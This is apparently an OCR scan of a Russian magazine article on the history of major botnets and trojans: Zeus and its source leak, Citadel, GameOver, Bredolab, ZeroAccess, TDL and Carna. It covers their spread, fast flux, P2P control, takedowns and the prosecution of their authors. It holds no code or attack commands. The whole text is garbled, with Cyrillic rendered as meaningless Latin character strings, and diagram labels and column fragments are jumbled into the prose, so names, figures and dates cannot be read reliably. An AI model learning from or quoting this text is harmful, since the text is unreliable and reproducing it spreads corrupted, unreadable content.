B OOHW PYKW, KTO-TO WUV NOXAAHWUYA, U CIUI HANEBO UC-
X0AHbIV ko, Zeus 2.0.8.9, koTopbiii, Ha4mMHas ¢ despans 2011
roga, Ctan npegnaratbCs Ha npopaxy. B koHeyHOM uTtore
B Mae copLibl nonanv B nabnuk. 1o cobbiTe CTasno, noxa-
Ny, caMbIM 3Ha4YMMbIM Ans knbepaHaerpayHaa B 2011 rogy.

AHanM3 UCXoOHbIX KOAOB Mokasan, Y4To pa3paboTymk
Zeus — HacTtosawmin npodu. Mpn nepeom B3rsae Ha Cop-
upl 6pocaeTcs B rnasa WX MpedesibHo 4YeTkash CTPYKTy-
PUPOBAHHOCTb, YTO rOBOPUT O GOJLLLOM OnblTe aBTopa
B pa3paboTke NO. Cam kop, paayeT, BCe JTAKOHWYHO, YeT-
KO U KpacuBo. OTOENbHOro YynoMVHaHUS CTOUT MOAY/b
HVNC (HiddenVNC), npenctaBnsiowmii cobori peannaa-
umio VNC-cepBepa, KOTopblli B3aMOOENCTBYET C BUPTY-
anbHbIM PaboyMM CTOMIOM, CKPbITBIM OT /a3 MoJsb30Ba-
Tens. BnocneacTBum Ha OCHOBE CNUTLIX COPLIEB MOAYJb
HVNC 6bin nepenenaH B oTAeNbHbI NPoekT. Kak 1 B Zeus,
HVNC nognoepxunBaeT BO3MOXHOCTb backconnect, To ecTb
BO3MOXHOCTb MOAK/IOYEHUSI  3/IOYMbILUNIEHHMKA K 3a-
PaXeHHbIM cucTtemMam, KoTopble HaxogsaTcs 3a NAT wnn
poytepomM. O6GecneunBaeTcs 3TO
6narogapsi NPOMEXyTO4HOMY Ccep-
BEPY-MapLUpyTM3aTopy (ewe OauH
KOMMOHEHT Zeus B BUAE NPUNOXEHUS
nog Windows).

Mocne yTeykn cpasy nosiBUKCH
fI0AY, HauaBluMe Kienatb  CBOW

¢ ¥

TpOsiHbl HAa 6a3e MCXOOHWKOB Zeus.
Ans npumepa MOXHO YNOMSHYTb
npoekT ICE IX (Ha3BaHbli, BUOANMO,
Kak BUpYyC u3 ¢unbma «PekpyT»),
KOTOpPbIA HEe npeanaran HUYero Ho-

BOro 1 Obln MOMbITKOM 3apaboTaTb

[EeHer Ha N3BECTHOM MMeHU. Ho «a0-
CTOWMHBIV» nocnegoBatenb Halwen-
ca — npoexT Citadel. Ero kno4eson
OCOOEHHOCTBbIO  CTaNlo  CO3AaHune

OHNaNH-NNaTPOPMbl, OPraHM30BaH-
HOW MO NPUHLMMNY COLMANIbHON CETU.

¥ s T 34ecb 3akasyvMku Morv 3anpawim-

BaTb HOBble GYHKUMK, coo6LWaTh

06 owmbkax n no6aBnsTb COGCTBEH-
Hble MOZY/W, Y4TO MpeBpaLlano npo-
Luecc paspaboTku B Hekoe nopobue

A ZeuS V1L
J T_ ? : i WA {
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i} A Zeus vi4 Y ,
- lze_usu 2 REh AN
® Licat 0 Murofet
a8 1 eye plugin

‘ Zeus 2.3.2.0

| Citadet 1345 1351 3100

| 1 ZeusS SSL

3 | ‘ | Fower Zeus
Peadicite ] Bl
E KINS
| : Skynet
LEEWM bankingplugin
\Cé»\)( ZeuS 4333
ZofS Process Zeus Tasks
ZeuS Cryptless
¢
@ZitMo
S S2isec oxt  Source to Bribodemon? *
: p =

open source npoekta. Takxe 6bina
opraHu3oBaHa CuUCTEMa TexHuye-
cKom MOAAEPXKN nokynarenen —
Citadel nocTosiHHO noaaepXxuBann
B 'aKTyaslbHOM COCTOSIHUW.
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Ocenblo 2011 ropa Poman Xioccu, cospartens Zeuslracker
(cant onsa oTcnexusBaHusa nHGopMauum 0 KOMaHOHbIX cepBepax
Zeus), uccnenys nocnenHUin Noslyd4eHHbli BapnaHT Zeus, 3ame-
TN Hanudne crtpanHoro UDP-tpadwuka. OdanbHenwunii aHanus
nokasaJsi, 4TO HOBbIV BapuaHT Zeus umesn Heckosbko IP-agpecos
B KOHUrypaunmoHHoM 6510ke 1 KOMMboTEPbI C 3TUMK IP oTBEYann
MHOUUMPOBAHHOW cucteme. 3a CyTku 6bino BbisiBNIeHO okono 100
ThiCSY YHUKaNbHbIX IP-aapecoBs, ¢ KOTOPbIMY CBSA3blBasiaCb HOBas!
Moambukaums. Bonbluas YacTb 3apakeHHbIX KOMMNbIOTEPOB Obla
pacnonoxeHa B nouun, Ntanum n CLUA. Tak 66110 yCTaHOBNEHO,
yto Zeus ob63aBenca P2P-dyHkumoHanoMm Ha 6as3e npoTokosa
Kademlia ons cBoero o6HoBneHus. 13-3a ncnonb3oBaHns Ha3ga-
HUSI cKpunTa gameover.php npu o6patLeHny K KOMaHOHOMY LIEeH-
TPy 9TOW Bepcum 6bi110 JaHo Ha3BaHue GameOver.

B Hauane 2012 roga uccneposatenn komnaHum Symantec 06-
HapyXunun oyepenHoi BapmnaHT Zeus GameOver. [laHHas moandu-
Kaums cogepxana B cebe BCTPOeHHbIn Be6-cepsep Ha 6a3e nginx,
4YTO AaBano BO3MOXHOCTb 3arpy3ku UCMOHAEMBbIX dannos Yepes
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npotokon HTTP ot apyrux 60ToB. Takum 06pasom, kaxabiil 60T mor
BbICTYNaTb B Ka4ecTBe CBOEOOPa3HOro KOMaHAHOro LEHTPa uan
B KQ4eCTBEe NocpeaHuKa (MPoKCcK) B LIEeNnoYke ynpasneHus. Bepcus
GameOver «6narononyyHo» JoXuaa A0 HawnX gHEW, KOIUYECTBO
NM3BM B HeM konebneTtcs Bo3ne oTMETKN B 1,2 MunvMoHa.

OTHOCUTENbHO HEAABHO MOsBMNACh MHGOPMaLUUs, YTO mpa-
BOOXpaHuTenbHble opraHbl CLLA coBMECTHO C BnacTsiMv OKOJO
[EecaTV rocynapcTts, cpeam kotopbix Gbinv KaHaga, dpaHuus,
YkpanHa n FepmaHus, packpbiiv KPYNHYKO MPECTYMNHYIO Xakep-
ckyto rpynnupoBky. OavH 13 npegnonaraembix OpraHn3aTtopoB —
30-neTHuin xutenb Poccumn EBreHunin Boradés — oGbsiBneH OBP
B po3biCck. EMy npeabaBieHbl 3a04Hble 0OBUHEHUSI HA OCHOBaHWUU
nepexBayeHHbIX NEPEroBOPOB B OOHOM 13 4aToB. B Hux Borayés,
nuwywmii nod Hukamm Lucky12345 n Slavik, npusHaetcsi cobe-
CceaHVKY, YTO OH 1 ecTb co3aatesnb TposiHa Zeus. Mo gaHHbIM DEP,
Borayés B HacTosLLEe Bpems NMPoXMBaeT B AHane v Braneet cob-
CTBEHHOW AXTON. Tak 4TO ByAemM BHUMATENBHO ClEeAUTh 32 PasBu-
TEM COBbITUIA.

KpaTtkas xapakrepuctuka:
TPOSiH ¢ dyHKkumaMm-spambot
n DDoS

Foapbl XN3Hu:
2009-2010

KonuyecTtBO 3apaxeHuii:
30 MunnnoHoB

TexHuyeckas
HaBOPOYEHHOCTb:

QQQQCC

MeTopb! pacnpochaHeHim:
3KCNNONT-NaK n moamdukaums
CTpaHuL, CanToB CCbllIKaMu
Ha Hero (C NMOMOLLbIO HANAEHHbIX
naponemn)
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BREDOLAB

Ha yeTBEepTOM MecTe TPOSiH, KOTOPbI C YCNEXOM MOT Gbl OTKPbIBATh TOM.
BoTtHeT Bredolab (aka Oficla), noseuBlumiica B cepeauHe 2009 ropa, co-
cTosn U3 npumepHo 30 MUJIMOHOB KOMMbIOTEPOB — MOXOXeE, Gonbliero
GoTHeTa 3a BCIO UCTOPMIO He GbINo. OCHOBHasi 0COGEHHOCTbL €ro cocTosNna
B cnocobe ero ¢opMmupoBaHus. [ins pacnpocrpaHeHus 60Ta NCnosib30Ba-
NUCb B3/IOMaHHbIe Be6-caiiTbl, NOCETUTENN KOTOPbIX Yepes iframe nepe-
HanpaeBnsaAUCb Ha BPEAOHOCHbIE pPecypchl, rae Obin pa3BepHyT exploit
pack ¢ npo6usom Adobe Flash Player u BupTyanbHoii MalwiuHbl Java.
Ha npoTposHEeHHbIX TakKum o6pa:-§om'|(omnax yBogunucb naponu k FTP-
akKkayHTam, nposepsnca poctyn k FTP-cepeepy u Bo Bce ¢dpainbl HTML
n JS BHeppsica BpeAOHOCHbBI KoA ANnS BCTaBku iframe, KOTopbi Ben Ha
BPEeAOHOCHbIN caiiT ¢ exploit pack. Takum 06pa3om, B3/I0M HOBbIX CaliTOB
NPOW3BOAMICS B NMOJIHOCTbIO ABTOMATUYECKOM peXxumMe.

aKxe MCnonb30BasiaCb Cxema C PacChisIKOn nNn-

ceMm, copepKalmx BO BIOXEHUU UCMONHAEMbIN

caiin Bredolab B Buae ZIP-apxusa, cam daiin

nmen nkoHky Word nnv Excel. ina nogaepxaHus

60THeTa B paboyem COCTOSTHUN 3/10YMbILLTEHHUKM AOBOSIb-

HO 3(pDEKTMBHO CKPbIBAIN LIEHTP ynpaBfieHnus 60THETOM,
ucnonbadys TexHuky Double Fast Flux (cm. Bpesku).

NS MakcUManbHOro 3aTpyAHeHWs paspaboTku cur-

HaTyp ucrnonb3oBanca server-side nonumopdusam. Ero

CYTb COCTOUT B TOM, YTO ajroputM, obecnevnBatoLLmii’

MyTaLmK, 3aKoAMPOBaH HE B CaMOM McronHaeMoM daiine
BPEAOHOCHON NporpaMMbl (Kak y mnosiMMopdHbIX BUPY-
COB), a peannayeTcs Ha crneunanbHOM cepBepe, KOTOpbIi
reHepupyeT LeNylo Ky4y HEMoXoXmx Apyr Ha apyra ¢ain-
NOB.

VMcnonb3yemble onsa ynpasnexdus 143 cepeepa npuHaa-
nexanu ronnaHackoMy XoCTUHr-nposanaepy LeaseWeb,
4YTO W BbI3BASIO B KOHEYHOM UTOre UHTEPEC rOSIaHACKON
nonuumm, KOTopoi B okTsbpe 2010-ro yaanocb nonyynTts
KOHTPOSIb Haf 6osibLUel YacTbio GOTHETA U BLINTIA Ha ero
coapartens. Im okasancs rpaxaaHud P® Meopruin ABaHe-
coB 1987 roga poxaeHns, KOTOPOro NPaBOOXPaAHUTENbHbIE
opraHbl HuaepnaHaos 06bABMIM B PO3bICK MO 06BUHEHWIO
B YIEHCTBE B OPraHN30BaHHOW NPECTYMHOW rpynnmpoBKe,
B Km6ep|:|peCTynHocm 11 B OTMbIBaHNW ieHer. Mo nx paH-
» 4

.

HbiM, [eopruii ABaHECOB B Mepuop,
¢ mapTa no moHb 2009 roga, Haxo-
Oscb Ha Tepputopun PecnyGnvku
ApmeHusi, co3gan  BPEdOHOCHYIO
KOMMbIOTEPHYIO MpPOrpaMmmy, KoTo-
pasi 1 ncnonb3oBanach AJis Gopmu-
poBaHusi 60THeTa Bredolab. Y ABaHe-
coBa 6bl1 COOBLLHMK, U3BECTHBIN MO,
HUKOM Birdie, 0g4HaKko ero NMYHOCTb
He Obina ycTaHoB/IEHA.

Vcnonb3oBaHne Bredolab
191 Cnam-pacchiiok, MPOrpy3sKku opy-
rov mMansapu («napTHEpPKU») U op-
raHusauun DDoS-atak (B TOM yucne
Ha psiA, POCCUIACKMX HOBOCTHBIX pe-
CYPCOB U faxe cauT «Jlabopatopun Kacnepckoro») Tofibko
B 2010 rogy npuHecno ABaHecoBy NpubbInL B paamepe 700
ThICAY O0M1apoB. eopruii ABAHECOB, MPUrOBOPEHHBIA 21
Mas 2012 roga K nvLeHnto cBo6oAbl CPOKOM Ha YeTbipe
roaa, 6611 0CBOOOXAEH YCNOBHO-A0CPO4HO HA OCHOBAHWK
0TObIBaHUS 60Mee NONOBUHBI HA3HAYEHHOMO CYA0M CpoKa
(KpOMe 3TOro, B €ro OTHOLLUEHMMN Obinia NPUMEHEHa aMHU-
cTus), noatomMy netom 2013-ro yxe Haxoamncs Ha ceoboae
(cpok HakasaHus mucumcnsanca ¢ 26 oktadbps 2010 roga).
Leno Neoprus ABaHecoBa CTaslo yHUKasbHbIM A Apme-
HWUW cny4aem, rae paHee He 6blno NpeLefeHToB B o6nactu
KNGEPNPECTYINIEHNIA.

Hcnonb3yemoble 049 ynpasneHus 143 cepsepa
npuHadaeskaau xocmuHz-nposatidepy
LeaseWeb, umo u 86138010 8 KOHEHYHOM
umoze uHmepec 20AAaHACKOLl NoAULUU,
Komopoil 8 o0kma6pe 2010-20 y0aA0Ch
noAy4UmMb KOHMpPOAb HAO 60AbLUELL HACMbIO
bomHema u 8bLiimu HA e20 co30amens
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BobLLYIO0 HaCTb KNMEHTYPbl ABaHECOBA COCTaBASIN «MapTHE-
pbl» SpamlT, y4acTHMKM KOTOPOW CYMTaNIMCb OCHOBHbLIM B MUPO-
BOM MacLutabe MCTOYHMKOM pacchinkvi dapmaLeBTUHECKOrO cna-
Ma. Jlokasarenbctea CcBsidv Mexay 6otHeTom Bredolab n SpamIT
BCMJIbIM Ha MOBEPXHOCTb, Korga cneposartenn B Poccun 06b-
SIBUJIX, YTO BbIABUMAIOT YrosioBHOE 06BMHEHME npoTus Urops ly-
CEeBa, YesnoBeka, NoAO03pPEBAEMOro B CO34AHUWN «MAapPTHEPCKOW»
nporpaMmmel «[masMep», npeaHa3Ha4YeHHON AN peknambl OH-
JNIaliHOBOWN Npogaxu nekapcTts. Cuntaetcs, 4To SpamlIT 6b1 Ya-
cTbio «MmaBMepy». Cam 'yceB oTpuLan kakyto Obl TO HY 6bIIO CBA3b
CO CnamoM. B Heckobkux MHTEPBLIO OH CKasas, YTO 32 BblABU-
>XXEHMEM MPOTUB HErO GanbLUNBbLIX 0OBUHEHWNI CTOUT €ro GbIBLUMIA
naptHep lNaBen BpybneBckuii, C KOTOPbIM OHU KOrAa-TO HA4YMHANN
COBMECTHbIV BU3HEC.

MpukpbiTne aeatenbHoctn 6oTHeTa Bredolab, no oueHkam
CNeunanicToB, NMPUBENO K YMEHbLLEHNIO MMPOBOro o6bema cna-
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TEXHONOTUA
FAST FLUX

TepmuH Fast Flux (A0CNoBHO NepeBoanTCs Kak «ObICTpOe TeHeHne» unm
«MOTOK») OTHOCUTCS K ObICTPOMY MHOFOKPATHOMY BHECEHUIO U3MEHEHWI
B 3anuncu DNS, 4To npMBOAUT K NOCTOSSHHOMY M3MeHeHuio IP-agpeca,

K KOTOPOMY OTHOCUTCSt IOMEHHOe uMsi. Cama no cebe TexHonorus Fast
Flux He siBNAeTca «BPeAoHOCHOI», TaK Kak He 9KCryaTupyeT kakmue-nnbo
ys38MMOCTM DNS 11 06bI4HO MCNONb3yeTCs A9 pacnpeaeneHns Ha-
rpy3ku Ha cepBepsbl. B knaccuyeckoli cxeme 0f4HOMY JOMEHHOMY UMEHMN
COOTBETCTBYIOT HECKOJIbKO AECATKOB IP-aapecoB, KOTOPbIE MEHSAIOTCS
Kaxaple HeCKONbKO MUHYT (cxema Single Fast Flux). 3T1o yxe nenaet
HeadPekTUBHOM 610KMPoBKY Tpaduka 60ToB no IP-agpecam. 3no-

YMBILUSIEHHUKW e HECKOMbKO YCOBEPLLEHCTBOBANM cxeMy: cepeep DNS
BO3BPALLAET HE KOHEYHbI aApec Camoro KOMaHAHOrO LLeHTpa, a agpec
O[HOro 13 60MbLIOrO KOMNYECTBA 3aPaXEHHbIX KOMMbIOTEPOB, KaXAbIN
13 KOTOPbIX NPEeACTaBASAET COOOM NPOKCKU Ha peasibHbIN YNpaBasowmin
cepsep (cxema Double Fast Flux).
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ZEROACCESS

UcTtopua ZeroAccess (aka MAX++) B pyTKMT-UNocTacu Ha4yanacb B MiOHe svchost.exe n coxpaHsn nop,CTapHoﬁ
2009 ropga. UmeHHo Torga Gbin oOHapyXxeH oGpasel, BpeaoHOCa, KOTO- PE-¢daitn kak \Device\svchost.exe\
pbii ucnonb3oBan nytb Buaa \\?\globalroot\Device\ _max++>\[8 digit svchost.exe, JOCTyn K KOTOPOMY MO-
hex code].dll, a B gpaiiBepe-pyTkute aapa umen ctpoky f:\VC5\release\ HUTOPUNCS PYTKUTOM. ECnn kakoe-Tto
ZeroAccess.pdb. Tak uTo Ha3BaHue ZeroAccess — aBTopcKoe. ZeroAccess NpuUnoXeHe MbiTanocb 06pPaTUTLCS

Tak)Xe n3BecTeH nopg HassaHuaMu Smiscer u Sirefef.

aHBape 2010 roga co3pmarenn ZeroAccess npu-
HSAJIMCb PACMNpPOCTPaHATb HOBYIO BEPCUIO CBOErO
netvwa. [na atoro 3aneicTBoBaNvCb pecyp-
cbl cetn Ecatel komnaHum Russian Business
Network. OTnnuMTENbHBIM MNPU3HAKOM HOBOW BeEPCUU
ZeroAccess, 6bino sBHOe 3ammcTBOBaHve upei TDL-3,
a VIMEHHO. 3anycK 4Yepes3 3apaxeHue gpavisepa 1 UcnoJsib-
30BaHNe CKPLITOro XPaHWAMLLA S CBOVUX KOMMOHEHTOB.
Brnnote oo anpensi 2011 ropa 64-pa3psiaHble Bepcumn
OC He 3apaxanuch ZeroAccess. B Mae a1o focagHoe ynytie-
He BbIJI0 UICMPABIEHO, HO HE CKa3aTb, YTOOLI O4EHb TEXHOMO-
rmyHo. leno B Tom, 4To Ans x86 anroputM paboTsl Obin aHa-
JIOMMYEH NpeablayLLe Bepcun 1 PYTKUT paboTtan Ha ypoBHE
anpa. B npotvBoBec atomy B cpege x64 Bce paboTano
B usermode, BUAMMO, aBTOPbI PELLMIN HE 3aMOPaYMBATLCS,
Kak 060I1TN NPOBEPKY 3IEKTPOHHON NOANUCK ApaiBepa.
WHTepecHas dwwka paH-
HOW Bepcuu ZeroAccess — 1Uc-

K HeMy, TO ZeroAccess HEMEOJIEHHO
3aBepLuan ero. [na 3aBepLueHns no-
TOKa MPUIOXEHUS B HEro METOAO0M
APC MHXEKTUPOBaNOCh OKOJO ABYXCOT BaiT KoAa, KOTOPbI
BbI3biBan ExitProcess(). Ho ato 6b110 eule He Bce! HToObI
npenoTBpaTUTb Nocneaylowye 3anyckM 3aBepLUeHHOro
NPUNOXeHns, ons ero ncnonHsemoro danna ZeroAccess
cbpacbiBan npasuna goctyna ACL, paspeLialolime YTeHne
1 BbINofHeHne daiina. Takum 06pa3om, OAVH pasd MonaB-
LUNCb Ha KPIOYOK, aHTMBUPYC O0NbLLIE HE MOT 3aMyCTUTLCS.
Y106bl MOBBLICUTL XMBYYECTb, PA3PabOTYMKIA CTaIM UC-
nonb30BaTb PasnuyHble yxupeHns. OCHOBHOW yrnop Obin
Ha BO3MOXHOCTb paboTbl ZeroAccess npu NobbIX npaBax
[0CTyna, a Takxke NpoTUBOAENCTBME B0KMPOBAHMIO KOMaH-
OHbIX LLeHTpoB. C aTol uenbto Obin A06aBneH Koa, peanunsy-
owmin P2P Ha 6a3e npotokona TCP ans pacnpoctpaHeHus
CBOMX MOAYNEN, CrMCOK HayasibHbIX MMPOB C Ha3BaHWEM
«@» copepxan B cebe 256 3HaveHu IP-agpecos CynepHoOA,
Mo pmaHHbIM KOMMaHuM Sophos, akTVBHOE pacrnpocTpaHe-
b Hue P2P TCP-based Bepcum Ha4yanocb
B CeHTbpe-Hosibpe 2011-ro, Torza -

NoJIb30BaHUE TEXHUKWN «J10BJIN 3 BO/lbLqu VCHEXOB, yem Symantec, Kak rnepBble C3aMIMJIbl MOABUINCH B KOH-

Ha X1BUA» Ons 06GnamMblBaHUs

ue wvions. AHTVMBMPYCHbIE aHAIUTUKN

aHTuBMpycoB. Kpome csoero aoﬁuAaCb KomnaHua Mlcrosoﬁ‘ B Ha- OTMEHYaloT, 4TO AaHHas BepCusa 3arpy-
OCHOBHOIo Apansepa-pyT- yane ae'(aﬁpﬂ 2-'03 Zoaa RomnaHusa Xana [Ba OCHOBHbIX Bvaa MOJE3HOMN

kuTa, ZeroAccess vMen pno-

Harpy3ku — click fraud n spambot.

MOJHUTENbHBIN ApaiiBep sapa Micr OSOﬂ.' cosmecmHo c pasnu4Hblmu Mair 2012-ro — BOT U KOHYMIOCH

0N CO3AaHUSA «MPUMaHKM» —
06bekTa, Ha KOTOPLIA «KneBa-

CUAOBBLML CTPYRMYpPAMU HAPYLULUAL

Bpems, korga B coctaBe ZeroAccess
Obln ApaviBep SAEPHOrO YPOBHS, TENEPb

nn» aHTUBUPYCHbIE CpPEeacTB pa&omy 60mHema ZeroAcceSS’ 8348 BCS pa60Ta npoucxoguna B usermode.

3aWwmThl. JTOT ApaiiBep Co3-

AnroputMm pabotbl P2P-cet npetep-

pasan yctpoicteo \Device\ _noa ceoll KOHmMpoAb CeC Nen HekoTopble u3MeHeHus. [nvHa

ZeroAccess.exe

Create “protected” folderto store
own files and clean versions of
infected file.

Malicious
Explorer.exe

KERNEL | /o
e

Partial
CDROM.SYS

NTFS.SYS

Disk.SYS

RSA-knioya Gbila yBenuyeHa ¢ 512

no 1024 6ut. Kak n npexae, cylie-
CTBOBaU10 pasageneHve no tuny payload: click fraud n bitcoin
miner. Ecnv paxbLue P2P ncnonb3osan Tosbko TCP, To Tenepb
cnucok IP-agpecos 3anpatumeancs no UDP, a cnncok garnos
(mopynei) — no TCP.

Mpumep ZeroAccess XOPOLLO WTKIOCTPUPYET NPUHLMN
6puTBbl OkKama — He yMHOXawTe CyLiHoCTM 6e3 Hanob-
HOCTW, WAW, NO-NPOCTOMY, HE YCNOXHsinTe. Havaswwmch
KaK TeXHONIormyHas paspaboTka M MOTEPSIB B XOA4e CBO-
el 3BOMOLMN PYTKUT-COCTaBASIOLLYIO, ZeroAccess Tem
HE MeHee YyCMewHO NPOAOKMSI CBOE CylleCTBOBaHWE
1 naxe o63aBesics Tako MoaHou duyeit, kak P2P.

Mo oueHkam koMnaHuyM Sophos, KONMYEeCTBO 3apaxe-
HWIA KoMnbloTeEPOB 60TOM ZeroAccess Ha KOHel, aBrycta
2012 ropa coctaensno 6onee 9 MUNIMOHOB, @ aKTUBHbIX
60TOB 0KOJI0 MUNIIMOHA. B oTyeTe nabopatopum Kindsight
Security «<Malware Report» 3a TpeTtuii kBaptan 2012 roga

. TOBOPUTCSH YXe 0 2,2 MWUIMOHA 3apaXXeHHbIX CUCTEM,

13 koTopbix 685 Thicsay (31%) Haxoaunuce B CLLA. Mo mHe-
HUIO 9KCMepToB, GOTHET Ha ocHoBe ZeroAccess Obin ca-
MbIM aKTUBHbIM B 2012 roay.

AHTVBMPYCHbIE KOMMAHUW, ECTECTBEHHO, He cuae-
SN CNIoXa PYKM M YCUIEHHO MCKanv MeToabl BO3AENCTBUS
Ha P2P-npotokon ZeroAccess, 4TOObl BblBECTM OOTHET
13 ctposi. B mapte 2013 roga 3a 4eno B3sNCb UHXEHEPbI
KoMnaHum Symantec. B xone vccnenoBaHus cneumanuncTbl
BbISIBU/IM YSI3BMMOCTb NpoTokona P2P 6oTHeTa, koTopast no-
3BOJIANA, XOTb U C OONbLLVM TPYAOM, HAPYLLUTL €ro PaboTy.
OLHOBPEMEHHO MPOAOKaNoCh HabnoaeHe 3a akTUBHO-
CTblo 6OTHETA, 1 29 MIoHA cneunanncTbl Symantec o6Ha-
pyxunun, 4T0 4epe3 P2P-ceTb pacnpocTpaHseTcss HoBas

.,
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Bepcusi ZeroAccess. OBHOBIEHHAs Bepcusi cogepxana pag, n3MeHe-
HUIA, HanpaBNEeHHbIX Ha YCTPaHeHWe ysa3B1MMOCTU (Obln BBEOEH BTOPOW
bootstrap list, koTopblin Mor cogepxartb 16 MunnnoHoB IP, n nameHeH
MPUHLMA 1X HGOPMUPOBaHUS), KOTopast 06CyXaanach UccnenoBarens-
MU B OT4eTe, onybnvkoaHHOM B Mae 2013 roga. Bo3amMoxHO, MMeHHO
3TO MOIJIO CTaTb NPUYMHON 0B6HOBNEHUS 6oTHeTa. Bekope, 16 uons,
crneumancTbl Symantec Haqanu onepaumio No 3axsary KOHTPONS Hafg,
OOTHETOM, B pesysnbTare KOTopoi 13 6oTceTu «Bbinano» 6onee nony-
MUIMoHa 60ToB (Npu o6LLem konmyectse 1,9 MunnnoHa).

Bonbwnx ycnexoB, 4em Symantec, pobunacb KoMnaHus
Microsoft. B Havane pekabpsi 2103 ropa komnaHus Microsoft co-
BMECTHO C Pa3/In4HbIMIU CUNOBBIMU CTPYKTYPaMM HapyLumam paboTy
6oTHETa ZeroAccess, B3sIB nof, CBoi kKoHTposb C&C. MpaBooxpaHu-
TeN U3 PasvyHbIX CTPaH MOJy4YMan Opaepbl Ha 0ObICK U U3bATUE
TexHukn onas 18 IP-agpecos, ¢ KOTOpbIX ynpasnsacs 60THeT. MNocne
NMPOBEAEHHBIX MEPONPUATUI MHOULMPOBAHHBIE KOMMbLIOTEPbI MOJY-
YUAW OT 3/10YMBILLITIEHHMKOB NOCeaHee 0OHOBMIEHME C COOBLLEHNEM
«WHITE FLAG». Cneuuanuctbl Microsoft y6exaeHbl, 4To Takum 06-
pasoM aaMUHbI 6OTCETU Aan NOHSTL, YTO OTKA3bLIBAIOTCA OT NOCHe-
OYIOLMX MOMbITOK BOCCTaHOBNEHUS AOCTYNA K Hel, a nx coobLueHne
CTOUT pacLeHVBaTh Kak «LM(PPOBYIO KANUTYNALMIO».

TexHu4eckn GOTHET OCTasICs «KUB», MPOCTO Obina yTpayeHa BO3-
MOXHOCTb CKa4MBaTb HOBblE MOAY/IN U3-3a NMPUKPLITUS YNPABASIOLLIMX
cepBepoB. Tak kak 60T He 0GHOB/SETCS, NOKa3aTeslb ero AeTekTUpye-
MOCTM NMOCTOSIHHO PACTET, U PACTYT LLAHCHI, YTO OH OyAeT 06e3BpexeH

" KakuM-1mbo aHTBMPYCOM. B koHue mapTa 2014 roga 6bi10 0TMEHeHO
pacnpocTpaHeHne HoBol Bepcuu click fraud nnarvHa. Ha atom akTvBe-
HOCTb 3aKOH4YMNAachb. He NCKMOYEHO, YTO MIMEHHO B 3TOT MOMEHT pas-
pPaboT4MKIN KOPMSAT HAZ CO3AaHNEM CreayioLLe Bepcun ZeroAccess.

BTopoe mecTto otaano 3arpy3uunky TDL. Mo GonblioMy cHeTy, U3 Bcex pac-
CMOTPEHHbIX 3[4eCb MWUIMOHHUKOB MO TEXHOJIOTMYHOCTU OH BCEM pacT
¢dopy. CornacHo HenpoBepeHHoW nHpopmaLmmn 3a co3gaHmem TDL nepBbix
Tpex Bepcuii ctoan yenoeek ¢ HUKom Tyler Durden, a TDL paciumdpoBbisan-
cs kak Tyler Durden Loader (xoTsi ¢ paBHbIM yCnexoM OH Mor Obl paciundg-
poBbiBaTbcA Kak Trojan DownLoader, Bepcun — OHU BeAb Takue Bepcum).
Tyler Durden NpeAnNoONOXUTENLHO GbI OAHMM U3 COTPYAHWUKOE KOMMaHUK
Comodo. UHTepecHsbili ¢pakT o TDL — Hanuuyve B KoAe OTIaf04HbIX CTPOK,
KOTOpble NPeACTaBaamM cob0ol UMTaTbl U3 KYNLTOBbIX KWHOMPOU3BEAEHWUIA:
«BoiiuoBeckoro kny6a», «CUMNCOHOB», «<CTpaxa un HeHaBucTu B Jlac-Berace»,
«doppecTta Mamna», «3Be3AHbIX BOIH» U Apyrux. BooOLue, B cBoe Bpems
mexay paspabotumkom TDL u 3KcnepTtaMyM aHTUBMPYCHbIX KOHTOpP pas-

BEPHY/IOCb CBEOE06pa3zHOe COPEBHOBAHME, Ybe MPOrpaMMMCTCKOE KYHr-dy .

nyywe. B oTBeT Ha NoAKpy4YMBaHME NPOAKTUBKM BbiKaTbiBaJICA oYepenHoin
angenT, n aanee no kpyry. CywiecteyeT Bepcus, 4to TDL paspabGartbiBancs
B KaYyeCTBe AEeMOHCTpaLu1m 06xoaa aHTMBUPYCHOM 3alLuThbl, a KOrAaa Bce 3a-
BEpTEeNioCb — Havan ucnosb3oBatbcs ANna GopMUPOBaHUs GOTCETU, CTaB-
el 4YacTblio cepBUCa Mo 3arpy3Kke APYrux BpeAOHOCOB — «MapTHEPKU».

nsHec Ha 6ase TDL-3 O6biIO pelIeHo cBep-
HYyTb Mocne B3JiOMa COTpyaHukamu Esage
Lab komaHaHbIx cepsepoB TDL-3 u naptHep-
ckon nporpammbl Dogma Million, 4To0 npueeno
K yTeuke 6a3bl KJIMEHTOB, KOTOPAs cHavana xoauna B npu-
BaTe, a notoM nonana B pyku otaena K netom 2010 roga. .
TDL-4, no cnyxam, padpabarbiBajiicsl Apyrummn kogepamu
13 UCXOOHWUKOB TPETbEN BEPCUMN, KYNIIEHHOW 3a 65 ThicsaY
nonnapos. Tak unu nHaye, B none 2010-ro Beixogut TDL- .
4 0.01, a yxe B aBrycte 2010ro — TDL-4 0.02 ¢ noanepx- .
KO X64 onepavLmnoHHbIX CUCTEM, CTaB NepPBLIM 06Pa3LOM .

BOTHET CARNA

Carna — 60THET YNCNIEHHOCTbIO 420 ThICAY YCTPOMCTB, CO34AHHBIM

HEKMM CMbILLIEHBIM @HOHVMYCOM C Liefiblo cbopa CTaTUCTUKN

no IP-appecam Bceli ceTn IHTepHET. Bbin akTUBEH C MIOHS NO OK-
T96pb 2012 roaa, coCToAN B OCHOBHOM M3 Pa3/INYHbIX AOMALLHNX
poyTepoB, KOTOPbLIE B3NaMblBanMCh NyTem nogbopa naponen
(06bI4HO Tam BbIN UK NYCTOM Naposnb, unu root:root). Mo pe-
3ynbTatam paboTbl 60THETa GbiN co3aaH Internet Census of 2012
(nepenucb nHTepHeTa 2012 roaa). PesynbtaTel CkaHNPOBaHNS
ony6nukoBaHbl B cBOGOAHOM A0CTyne B Buae 6a3bl AaHHbIX pa3-
Mepom 9 T6, 3aapxMBMpPOBaHHON B 568 [0 ¢ MOMOLLbIO anropuTma
ZPAQ. 113 4,3 mnnnmapaa BO3MOXHbIX agpecos IPv4 6oTHeT Carna
o6Hapyxun ncnonb3osaHue 1,3 munnuappaa, Bkitodas 141 munnum-
OH 3a 6paHamayapamMu n 729 MUINMOHOB aiPECOB, UMEBLLIMX 00-
patHyio 3anuck DNS (PTR). OctaBumnecsa 3 munnnapaa agpecos,
BEPOSITHO, HE NCMO/Ib30BAJIUCD.

malware Takoro Buaa, oGHapyxXeH-
HbIM In The Wild.

Ecnun TDL Bepcuu 1-3 6bin Npo-
